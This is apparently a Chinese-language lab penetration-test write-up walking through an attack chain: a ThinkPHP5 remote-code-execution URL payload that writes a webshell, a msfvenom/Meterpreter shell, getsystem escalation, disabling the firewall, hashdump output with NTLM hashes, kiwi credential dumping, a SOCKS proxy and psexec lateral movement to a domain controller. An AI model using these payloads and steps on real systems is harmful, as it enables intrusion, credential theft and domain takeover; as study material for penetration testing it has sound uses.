一、整体拓扑图
二、web信息收集
常规web信息收集包括端口信息、目录信息、web站点结构等等。访问站点看到是,thinkphp5框架,并没有其他信息,至于端口开放以及对应漏洞探测我们这里就不用通过ms17-010漏洞来利用了,通过thinkphp5相关漏洞来验证。
Thinkphp5rce漏洞来源可参考:https://www.freebuf.com/articles/web/289860.html
2.1、获取webshell
使用thinkphp5rce漏洞验证payload进行探测:
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=systeminfo&vars[1][]=whoami
通过payload写入webshell
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码
2.2、msf工具shell获取
通过上一步我们拿到的webshell上我们通过msfvenom生成shell.exe文件上传,在上一步上通过蚁剑终端命令执行拿到meterspreter
三、windows提权
在msf上进行权限的提升;通过windows提权辅助工具发现相关提权exp
(注:msf中kiwi的相关凭据操作都需系统权限才能完成)
提权使用模块尝试
使用post/multi/recon/local_exploit_suggester的提权模块均为成功。
使用systeminfo尝试提权无session建立;使用了getsystem成功
拿到权限后进行进程迁移(刚获得Meterpreter shell时,该shell是及其脆弱和易受攻击的,例如攻击者可以利用浏览器漏洞攻陷目标机器,但攻击渗透后浏览器有可能被用户关闭。所以第一步就是要移动这个shell,把他和目标机中一个稳定的进程绑定在一起,而不需要对磁盘进行任何写入操作。这样做使得渗透更难被检测到);防止会话终端--->之后将防火墙进行关闭。
四、域渗透
4.1、域内信息收集
hashdump获取登录用户hash:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
heart:1000:aad3b435b51404eeaad3b435b51404ee:a34efdd63a23abea4413ba73cafa5a30:::
使用msf自带模块建立代理
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set VERSION 4a
exploit
编辑代理配置
vi /etc/proxychains4.conf
添加socks 127.0.0.1 1080
获取端口信息:
加载kiwi(迷糊桃)load kiwi查看登录凭证:
收集到win7用户明文信息
4.2、攻击域控
拿到了用户凭证,以及相关端口开放(445/139),ipc$一般是默认开放的,我们尝试psexec横向。
使用msf的psexec总是拿不到session,我们更换GitHub上的psexec.py进行攻击尝试。
成功拿到域控;(对比服务器文件)